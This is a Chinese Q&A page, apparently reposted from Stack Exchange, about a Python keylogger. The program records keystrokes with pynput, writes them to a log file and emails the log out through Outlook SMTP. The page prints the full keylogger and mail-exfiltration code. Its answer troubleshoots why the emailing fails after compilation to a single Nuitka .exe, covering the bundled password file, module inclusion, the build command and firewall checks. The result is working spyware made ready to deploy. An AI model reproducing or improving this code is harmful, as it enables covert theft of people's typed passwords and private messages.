使用Nuitka编译的Python键盘记录器.exe无法发送邮件的解决方法
解决Nuitka编译键盘记录器后无法发送邮件的问题
问题描述
我开发了一款可捕获按键并将记录文件发送至指定邮箱的Python键盘记录器。在VS Code终端运行脚本时功能完全正常,但使用Nuitka将文件编译为独立单文件.exe后,双击运行该程序可正常捕获按键,却无法发送邮件。
相关代码
主脚本代码
from pynput.keyboard import Listener, Key from decrypt import decrypt from encrypt import encrypt from sendoulook import send_mail import sys import os # 获取程序运行的实际目录 if getattr(sys, 'frozen', False): current_dir = os.path.dirname(sys.executable) else: current_dir = os.path.dirname(os.path.abspath(__file__)) log_path = os.path.join(current_dir, "log.txt") decrypt() count = 0 def on_press(key): global count letter = str(key) letter = letter.replace("'"," ") special_keys(letter) count += 1 if count == 10000000: return False def special_keys(letter): if letter == "Key.space": letter = " " if letter == "Key.enter": letter = "\n" if letter.find("Key") == -1: with open(log_path,"a") as f: f.write(letter) def on_release(key): if key == Key.esc: with open(log_path,"a") as f: f.write("\n") return False with Listener(on_press=on_press, on_release=on_release) as l: l.join() encrypt() try: if __name__ == "__main__": send_mail(log_path) # 传递日志路径 except Exception as error: print(f"执行错误: {error}")
send_mail()函数代码
import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders from decouple import config from retry import retry import os @retry((Exception), tries=3, delay=2,backoff=2) def send_mail(log_path): try: fromaddr = "example@outlook.com" toaddr = "example@gmail.com" password = config("PASS") msg = MIMEMultipart() msg["From"] = fromaddr msg["To"] = toaddr msg["Subject"] = "Keylog Strokes" body = "This file contains the recorded keystrokes." msg.attach(MIMEText(body,"plain")) filename = os.path.basename(log_path) attachment = open(log_path,"rb") p = MIMEBase("application","octet-stream") p.set_payload((attachment).read()) encoders.encode_base64(p) p.add_header("Content-Disposition",f"attachment;filename={filename}") msg.attach(p) s = smtplib.SMTP("smtp.office365.com",587) s.starttls() s.login(fromaddr,password) text = msg.as_string() s.sendmail(fromaddr,toaddr,text) s.quit() # 修复:添加括号执行退出方法 attachment.close() except Exception as e: # 将错误写入日志方便排查 with open(log_path, "a") as f: f.write(f"\n邮件发送错误: {str(e)}\n") raise # 抛出异常触发重试
原Nuitka编译命令
python -m nuitka --mingw64 main.py --standalone --onefile
解决办法
1. 修复路径问题
编译为单文件后,程序会临时解压到系统临时目录,原相对路径会失效。通过sys.frozen判断编译状态,获取正确的运行目录,确保日志文件路径可被正确访问(已在修改后的代码中实现)。
2. 修正send_mail中的判断逻辑
删除原代码中if __name__ == "sendoutlook":的判断,编译后模块名称会发生变化,导致该逻辑无法执行,直接执行邮件发送代码即可。
3. 打包必要的数据文件
如果使用.env文件存储密码,编译时需要显式指定打包该文件,否则编译后的exe无法读取密码。在编译命令中添加--include-data-file=.env=.env。
4. 显式指定依赖模块
确保所有邮件相关的模块被Nuitka正确打包,在编译命令中添加--include-module参数指定依赖。
5. 修复SMTP退出方法调用
原代码中s.quit缺少括号,导致SMTP连接未正确关闭,改为s.quit()。
优化后的编译命令
python -m nuitka --mingw64 main.py --standalone --onefile --include-data-file=.env=.env --include-module=smtplib,email.mime.multipart,email.mime.text,email.mime.base,email.encoders,decouple,retry,pynput.keyboard
额外排查点
- 检查防火墙是否允许编译后的exe访问网络;
- 如果Outlook账号开启两步验证,需生成应用专用密码替换原密码;
- 代码中已添加错误日志输出,可通过日志文件定位具体的发送失败原因。
内容的提问来源于stack exchange,提问作者Ogujiuba-Henry
相关产品推荐
相关产品推荐

